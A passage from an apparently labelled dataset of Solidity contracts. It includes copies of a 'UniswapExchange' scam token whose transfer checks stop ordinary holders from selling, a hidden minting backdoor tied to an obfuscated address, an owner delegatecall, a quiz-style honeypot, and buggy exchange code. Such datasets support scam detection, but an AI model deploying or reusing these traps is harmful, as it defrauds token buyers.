_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 238 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,741 |
pragma solidity ^0.4.25;
contract MSD8 {
function hifus() public {
}
} | 1 | 3,181 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MilitaryPay is StandardToken {
using SafeMath for uint256;
event CreatedMTP(address indexed _creator, uint256 _amountOfMTP);
string public constant name = "MilitaryPay";
string public constant symbol = "MTP";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public maxPresaleSupply;
uint256 public constant preSaleStartTime = 1503130673;
uint256 public constant preSaleEndTime = 1505894400;
uint256 public saleStartTime = 1509696000;
uint256 public saleEndTime = 1514707200;
uint256 public lowEtherBonusLimit = 5 * 1 ether;
uint256 public lowEtherBonusValue = 110;
uint256 public midEtherBonusLimit = 24 * 1 ether;
uint256 public midEtherBonusValue = 115;
uint256 public highEtherBonusLimit = 50 * 1 ether;
uint256 public highEtherBonusValue = 120;
uint256 public highTimeBonusLimit = 0;
uint256 public highTimeBonusValue = 120;
uint256 public midTimeBonusLimit = 1036800;
uint256 public midTimeBonusValue = 115;
uint256 public lowTimeBonusLimit = 2073600;
uint256 public lowTimeBonusValue = 110;
uint256 public constant MTP_PER_ETH_PRE_SALE = 4000;
uint256 public constant MTP_PER_ETH_SALE = 2000;
address public constant ownerAddress = 0x144EFeF99F7F126987c2b5cCD717CF6eDad1E67d;
bool public allowInvestment = true;
uint256 public totalWEIInvested = 0;
uint256 public totalMTPAllocated = 0;
mapping (address => uint256) public WEIContributed;
function MTPToken() {
require(msg.sender == ownerAddress);
totalSupply = 631*1000000*1000000000000000000;
uint256 totalMTPReserved = totalSupply.mul(55).div(100);
maxPresaleSupply = totalSupply*8/1000 + totalMTPReserved;
balances[msg.sender] = totalMTPReserved;
totalMTPAllocated = totalMTPReserved;
}
function() payable {
require(allowInvestment);
uint256 amountOfWei = msg.value;
require(amountOfWei >= 10000000000000);
uint256 amountOfMTP = 0;
uint256 absLowTimeBonusLimit = 0;
uint256 absMidTimeBonusLimit = 0;
uint256 absHighTimeBonusLimit = 0;
uint256 totalMTPAvailable = 0;
if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) {
amountOfMTP = amountOfWei.mul(MTP_PER_ETH_PRE_SALE);
absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit;
totalMTPAvailable = maxPresaleSupply - totalMTPAllocated;
} else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) {
amountOfMTP = amountOfWei.mul(MTP_PER_ETH_SALE);
absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit;
totalMTPAvailable = totalSupply - totalMTPAllocated;
} else {
revert();
}
assert(amountOfMTP > 0);
if (amountOfWei >= highEtherBonusLimit) {
amountOfMTP = amountOfMTP.mul(highEtherBonusValue).div(100);
} else if (amountOfWei >= midEtherBonusLimit) {
amountOfMTP = amountOfMTP.mul(midEtherBonusValue).div(100);
} else if (amountOfWei >= lowEtherBonusLimit) {
amountOfMTP = amountOfMTP.mul(lowEtherBonusValue).div(100);
}
if (block.timestamp >= absLowTimeBonusLimit) {
amountOfMTP = amountOfMTP.mul(lowTimeBonusValue).div(100);
} else if (block.timestamp >= absMidTimeBonusLimit) {
amountOfMTP = amountOfMTP.mul(midTimeBonusValue).div(100);
} else if (block.timestamp >= absHighTimeBonusLimit) {
amountOfMTP = amountOfMTP.mul(highTimeBonusValue).div(100);
}
assert(amountOfMTP <= totalMTPAvailable);
totalMTPAllocated = totalMTPAllocated + amountOfMTP;
uint256 balanceSafe = balances[msg.sender].add(amountOfMTP);
balances[msg.sender] = balanceSafe;
totalWEIInvested = totalWEIInvested.add(amountOfWei);
uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei);
WEIContributed[msg.sender] = contributedSafe;
assert(totalMTPAllocated <= totalSupply);
assert(totalMTPAllocated > 0);
assert(balanceSafe > 0);
assert(totalWEIInvested > 0);
assert(contributedSafe > 0);
CreatedMTP(msg.sender, amountOfMTP);
}
function transferEther(address addressToSendTo, uint256 value) {
require(msg.sender == ownerAddress);
addressToSendTo.transfer(value);
}
function changeAllowInvestment(bool _allowInvestment) {
require(msg.sender == ownerAddress);
allowInvestment = _allowInvestment;
}
function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) {
require(msg.sender == ownerAddress);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
}
function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) {
require(msg.sender == ownerAddress);
lowEtherBonusLimit = _lowEtherBonusLimit;
lowEtherBonusValue = _lowEtherBonusValue;
midEtherBonusLimit = _midEtherBonusLimit;
midEtherBonusValue = _midEtherBonusValue;
highEtherBonusLimit = _highEtherBonusLimit;
highEtherBonusValue = _highEtherBonusValue;
}
function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) {
require(msg.sender == ownerAddress);
highTimeBonusLimit = _highTimeBonusLimit;
highTimeBonusValue = _highTimeBonusValue;
midTimeBonusLimit = _midTimeBonusLimit;
midTimeBonusValue = _midTimeBonusValue;
lowTimeBonusLimit = _lowTimeBonusLimit;
lowTimeBonusValue = _lowTimeBonusValue;
}
} | 1 | 5,190 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 2,164 |
pragma solidity ^0.4.25;
contract MathTest
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(abi.encodePacked(_response)) && msg.value>minBet)
{
msg.sender.transfer(address(this).balance);
}
}
string public question;
uint256 public minBet = count * 2 * 10 finney;
address questionSender;
bytes32 responseHash;
uint count;
function start_quiz_game(string _question,bytes32 _response, uint _count) public payable {
if(responseHash==0x0)
{
responseHash = _response;
question = _question;
count = _count;
questionSender = msg.sender;
}
}
function StopGame() public payable onlyQuestionSender {
msg.sender.transfer(address(this).balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable onlyQuestionSender {
question = _question;
responseHash = _responseHash;
}
function newQuestioner(address newAddress) public onlyQuestionSender{
questionSender = newAddress;
}
modifier onlyQuestionSender(){
require(msg.sender==questionSender);
_;
}
function() public payable{}
} | 1 | 4,237 |
pragma solidity ^0.4.13;
contract EInterface {
function allowance(address _owner, address _spender) constant returns (uint256 remaining) { }
function transferFrom(address _from, address _to, uint256 _value) {}
}
contract BidAskX {
function allow_spend(address _coin) private returns(uint){
EInterface pixiu = EInterface(_coin);
uint allow = pixiu.allowance(msg.sender, this);
return allow;
}
function transferFromTx(address _coin, address _from, address _to, uint256 _value) private {
EInterface pixiu = EInterface(_coin);
pixiu.transferFrom(_from, _to, _value);
}
event Logs(string);
event Log(string data, uint value, uint value1);
event Println(address _address,uint32 number, uint price, uint qty, uint ex_qty, bool isClosed,uint32 n32);
event Paydata(address indexed payer, uint256 value, bytes data, uint256 balances);
mapping (address => AdminType) admins;
address[] adminArray;
enum AdminType { none, normal, agent, admin, widthdraw }
struct Member {
bool isExists;
bool isWithdraw;
uint deposit;
uint withdraw;
uint balances;
uint bid_amount;
uint tx_amount;
uint ask_qty;
uint tx_qty;
address agent;
}
mapping (address => Member) public members;
address[] public memberArray;
uint32 public order_number=1;
struct OrderSheet {
bool isAsk;
uint32 number;
address owner;
uint price;
uint qty;
uint amount;
uint exFee;
uint ex_qty;
bool isClosed;
}
address[] public tokensArray;
mapping (address => bool) tokens;
mapping (address => uint32[]) public token_ask;
mapping (address => uint32[]) public token_bid;
mapping (address => mapping(address => uint32[])) public token_member_order;
mapping (address => mapping(uint32 => OrderSheet)) public token_orderSheet;
bool public isPayable = true;
bool public isWithdrawable = true;
bool public isRequireData = false;
uint public MinimalPayValue = 0;
uint public exFeeRate = 1000;
uint public exFeeTotal = 0;
function BidAskX(){
adminArray.push(msg.sender);
admins[msg.sender]=AdminType.widthdraw;
}
function list_token_ask(address _token){
uint32[] storage numbers = token_ask[_token];
for(uint i=0;i<numbers.length;i++){
uint32 n32 = numbers[i];
OrderSheet storage oa = token_orderSheet[_token][n32];
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,n32);
}
}
function list_token_bid(address _token){
uint32[] storage numbers = token_bid[_token];
for(uint i=0;i<numbers.length;i++){
uint32 n32 = numbers[i];
OrderSheet storage oa = token_orderSheet[_token][n32];
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,n32);
}
}
function tokens_push(address _token) private {
if(tokens[_token]!=true){
tokensArray.push(_token);
tokens[_token]=true;
}
}
function token_member_order_pop(address _token, address _sender, uint32 _number) private {
for(uint i=0;k<token_member_order[_token][_sender].length-1;i++){
if(token_member_order[_token][_sender][i]==_number){
for(uint k=i;k<token_member_order[_token][_sender].length-2;k++){
token_bid[_token][k]=token_bid[_token][k+1];
}
token_member_order[_token][_sender].length-=1;
break;
}
}
}
function members_push(address _address) private {
if (members[_address].isExists != true) {
members[_address].isExists = true;
members[_address].isWithdraw = true;
members[msg.sender].deposit=0;
members[msg.sender].withdraw=0;
members[msg.sender].balances =0;
members[msg.sender].tx_amount=0;
members[msg.sender].bid_amount=0;
members[msg.sender].ask_qty=0;
members[msg.sender].tx_qty=0;
members[msg.sender].agent=address(0);
memberArray.push(_address);
}
}
function cancel( address _token,uint32 _number){
OrderSheet storage od = token_orderSheet[_token][_number];
if(od.owner==msg.sender){
uint i;
uint k;
if(od.isAsk){
for(i=0; i<token_ask[_token].length;i++){
if(token_ask[_token][i]==_number){
od.isClosed = true;
members[msg.sender].ask_qty - od.qty + od.ex_qty;
for(k=i;k<token_ask[_token].length-2;k++){
token_ask[_token][k]=token_ask[_token][k+1];
}
token_ask[_token].length-=1;
break;
}
}
} else {
for(i=0; i<token_bid[_token].length;i++){
if(token_bid[_token][i]==_number){
od.isClosed = true;
members[msg.sender].bid_amount - od.amount + od.price*od.ex_qty;
for(k=i;k<token_bid[_token].length-2;k++){
token_bid[_token][k]=token_bid[_token][k+1];
}
token_bid[_token].length-=1;
break;
}
}
}
token_member_order_pop(_token, msg.sender, _number);
} else {
Logs("The order owner not match");
}
}
function bid( address _token, uint _qty, uint _priceEth, uint _priceWei){
tokens_push(_token);
uint256 _price = _priceEth *10**18 + _priceWei;
uint exFee = (_qty * _price) / exFeeRate;
uint amount = (_qty * _price)+exFee;
uint unclose = members[msg.sender].bid_amount - members[msg.sender].tx_amount;
uint remaining = members[msg.sender].balances - unclose;
if(remaining >= amount){
OrderSheet memory od;
od.isAsk = false;
od.number = order_number;
od.owner = msg.sender;
od.price = _price;
od.qty = _qty;
od.ex_qty=0;
od.exFee = (_price * _qty)/exFeeRate;
od.amount = (_price * _qty) + od.exFee;
od.isClosed=false;
token_orderSheet[_token][order_number]=od;
members[msg.sender].bid_amount+=amount;
token_member_order[_token][msg.sender].push(order_number);
bid_match(_token,token_orderSheet[_token][order_number],token_ask[_token]);
if(token_orderSheet[_token][order_number].isClosed==false){
token_bid[_token].push(order_number);
Println(od.owner, od.number, od.price, od.qty, od.ex_qty, od.isClosed,777);
}
order_number++;
} else {
Log("You need more money for bid", remaining, amount);
}
}
function ask( address _token, uint _qty, uint _priceEth, uint _priceWei){
tokens_push(_token);
uint256 _price = _priceEth *10**18 + _priceWei;
uint unclose = members[msg.sender].ask_qty - members[msg.sender].tx_qty;
uint remaining = allow_spend(_token) - unclose;
uint exFee = (_price * _qty)/exFeeRate;
if(members[msg.sender].balances < exFee){
Log("You need to deposit ether to acoount befor ask", exFee, members[msg.sender].balances);
} else if(remaining >= _qty){
members_push(msg.sender);
OrderSheet memory od;
od.isAsk = true;
od.number = order_number;
od.owner = msg.sender;
od.price = _price;
od.qty = _qty;
od.ex_qty=0;
od.exFee = exFee;
od.amount = (_price * _qty) - exFee;
od.isClosed=false;
token_orderSheet[_token][order_number]=od;
members[msg.sender].ask_qty+=_qty;
token_member_order[_token][msg.sender].push(order_number);
ask_match(_token,token_orderSheet[_token][order_number],token_bid[_token]);
if(od.isClosed==false){
token_ask[_token].push(order_number);
Log("Push order number to token_ask",order_number,0);
}
order_number++;
} else {
Log("You need approve your token for transfer",0,0);
}
}
function ask_match(address _token, OrderSheet storage od, uint32[] storage token_match) private {
for(uint i=token_match.length;i>0 && od.qty>od.ex_qty;i--){
uint32 n32 = token_match[i-1];
OrderSheet storage oa = token_orderSheet[_token][n32];
uint qty = oa.qty-oa.ex_qty;
if(oa.isClosed==false && qty>0){
uint ex_qty = (qty>od.qty?od.qty:qty);
uint ex_price = oa.price;
uint exFee = (ex_qty * ex_price) / exFeeRate;
uint amount = (ex_qty * ex_price);
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,n32);
if(members[oa.owner].balances >= amount && od.price <= oa.price){
od.ex_qty += ex_qty;
if(oa.ex_qty+ex_qty>=oa.qty){
token_orderSheet[_token][n32].isClosed = true;
for(uint k=i-1;k<token_match.length-2;k++){
token_match[k]=token_match[k+1];
}
}
token_orderSheet[_token][n32].ex_qty += ex_qty;
transferFromTx(_token, msg.sender, oa.owner, ex_qty);
members[oa.owner].balances -= (amount+exFee);
members[oa.owner].tx_amount += (amount+exFee);
members[oa.owner].tx_qty += ex_qty;
members[msg.sender].balances += (amount-exFee);
members[msg.sender].tx_amount += (amount-exFee);
members[msg.sender].tx_qty += ex_qty;
if(od.ex_qty+ex_qty>=od.qty){
od.isClosed = true;
}
exFeeTotal += exFee;
}
}
}
}
function bid_match(address _token, OrderSheet storage od, uint32[] storage token_match) private {
for(uint i=token_match.length;i>0 && od.qty>od.ex_qty;i--){
uint32 n32 = token_match[i-1];
OrderSheet storage oa = token_orderSheet[_token][n32];
uint qty = oa.qty-oa.ex_qty;
if(oa.isClosed==false && qty>0){
uint ex_qty = (qty>od.qty?od.qty:qty);
